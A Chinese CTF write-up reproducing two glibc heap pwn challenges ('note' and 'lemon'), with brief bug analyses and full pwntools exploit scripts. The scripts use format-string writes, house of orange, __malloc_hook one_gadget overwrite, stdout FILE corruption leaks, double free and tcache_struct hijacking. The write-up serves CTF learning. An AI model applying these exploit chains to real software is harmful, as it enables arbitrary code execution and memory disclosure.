我太菜了,这里是复现记录
note
scanf也能格式化字符串,这题就是一个house of orange
from pwn import *
p = process('./note')
elf = ELF('./note')
libc = ELF('./libc-2.23.so')
context.log_level = "debug"
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f",timeout = 1)[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
def cmd(idx):
p.sendlineafter("choice: ", str(idx))
def add(size, content):
cmd(1)
sla("size: ", size)
p.sendafter("content: ", content)
p.recvuntil('addr: ')
return int(p.recvuntil('\n', drop=True), 16)
def edit(addr, content):
cmd(2)
sa("say ? ", ('%7$saaaa' + p64(addr)).ljust(0x64, '\x00'))
p.sendlineafter('? ', content)
def show():
cmd(3)
def dbg():
gdb.attach(p)
pause
heap_base = add(0x100, 'a' * 0x100) - 0x10
lg('heap_base',heap_base)
edit(heap_base + 0x110, 'b' * 8 + p64(0xef1))
for i in range(0xd):
add(0x100, 'a' * 0x100)
add(0x28, 'a' * 0x28)
add(0xd8, 'a' * 0xd8)# free old_top
add(0xc8, 'a' * 8)# cut old_top
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3c4b78
lg('libc_base',libc_base)
one = libc_base + 0x4527a
lg('one',one)
realloc_addr = libc.sym['realloc'] + libc_base
malloc_hook_addr = libc.sym['__malloc_hook'] + libc_base
edit(malloc_hook_addr - 0x8, p64(one) + p64(realloc_addr + 13))
cmd(1)
sla("size: ", 0x10)
p.interactive()
lemon
add是申请一个0x30固定大小的chunk,然后附带一个装内容的chunk,如果装内容的chunksize过大就不malloc装内容的chunk了,同时free掉刚才创建的固定大小chunk,有UAF
show不是show堆里的内容,而是show堆地址
edit有明显的数组越界,但是只能用一次
delete会把chunk+3/4/5里的地址的内容置空,free掉chunk+3(很奇怪的位置),同时freechunk本身,但是不会置空
1.利用edit数组越界,劫持stdout leak libc,用show出堆地址
然后利用doublefree改fd构造overlap,实现对freehook的置空和tcache_struct的申请
控制tcache后利用2次stdout,一次泄露栈地址,二次泄露栈上的内容->一开始写在栈上的flag
from pwn import *
from z3 import *
import ctypes
context.log_level = 'debug'
p = process('lemon_pwn')
elf = ELF('lemon_pwn')
libc = ELF("/home/ef4tless/glibc-all-in-one/libs/2.26-0ubuntu2.1_amd64/libc.so.6")
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f",timeout = 1)[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
def cmd(idx):
sla(">>> ",idx)
def add(idx,name,size,payload):
cmd(1)
sla("Input the index of your lemon: ",idx)
sa("Now, name your lemon: ",name)
sla("Input the length of message for you lemon: ",size)
sa("Leave your message: ",payload)
def show(idx):
cmd(2)
sla("Input the index of your lemon : ",idx)
def free(idx):
cmd(3)
sla("Input the index of your lemon : ",idx)
def edit(idx,payload):
cmd(4)
sla("Input the index of your lemon : ",idx)
sa("Now it's your time to draw and color!",payload)
def addbig(idx,payload):
cmd(1)
sla("Input the index of your lemon: ",idx)
sa("Now, name your lemon: ",payload)
sla("Input the length of message for you lemon: ",0x1000)
def dbg():
gdb.attach(p)
pause()
p.sendlineafter('Do you wanner play a guess-lemon-color game with me?', 'yes')
p.sendafter('Give me your lucky number:', p64(0x1783d9e5e))
sla("first: ","aaa")
add(0,p64(0)+p64(0x31),0x10,p64(0)+p64(0x31))
# 1/get libc by use edit
edit(-0x10c,p64(0xfbad1887)+p64(0)*3+p8(0x88))#only once edit stdout
libc_base = uu64()-libc.sym["_IO_2_1_stdin_"]
free_hook = libc_base+libc.sym["__free_hook"]
environ_addr = libc_base+libc.sym["environ"]
lg("libc_base",libc_base)
lg('environ_addr',environ_addr)
# make overlap
addbig(0,p64(0)+p64(0x31))
free(0)#double free
add(1,p8(0xc0),0x100,"aaa")
add(1,p64(0)+p64(0x30),0x100,"aaa")
# get heap addr by use show
show(1)#show chunkhead[1] addr
ru("eat eat eat ")
heap_addr = int(ru(".")[:-1],10)
lg("heap_addr",heap_addr)
#edit chunkhead->ptr to tcachestruct by use doublefree
add(2,p64(free_hook)+p16(heap_addr-0x2b0+0x10),0x100,"aaa") # do overlap
free(1)# reset 1
payload = p64(0x0000020000000000)+p64(0)*3+p64(0x0000000001000000)
payload += p64(0)*5+p64(libc_base+libc.sym["_IO_2_1_stdout_"]-0x33)*10# fakechunk
add(3,"aaaa",0x240,payload) # edit chunstruct 0x70*2 0x250*1
# 2/add stdout by tcache_struct to leak stack_addr
payload = "a"*(0x33-0x10)+p64(0x71)*2+p64(0x00000000fbad1887)+p64(0)*3+p64(environ_addr)+p64(environ_addr+0x10)[:-3]
add(0,"bbbb",0x60,payload)
stack_addr = uu64()
lg("stack_addr",stack_addr)
# 3/again use stdout
free(3)
payload = p64(0x0000020000000000)+p64(0)*3+p64(0x0000000001000000)
payload += p64(0)*5+p64(libc_base+libc.sym["_IO_2_1_stdout_"])*10
add(3,"aaaa",0x240,payload)
payload = p64(0x00000000fbad1887)+p64(0)*3+p64(stack_addr-0x200)+p64(stack_addr)
add(0,"aaaa",0x60,payload)
p.interactive()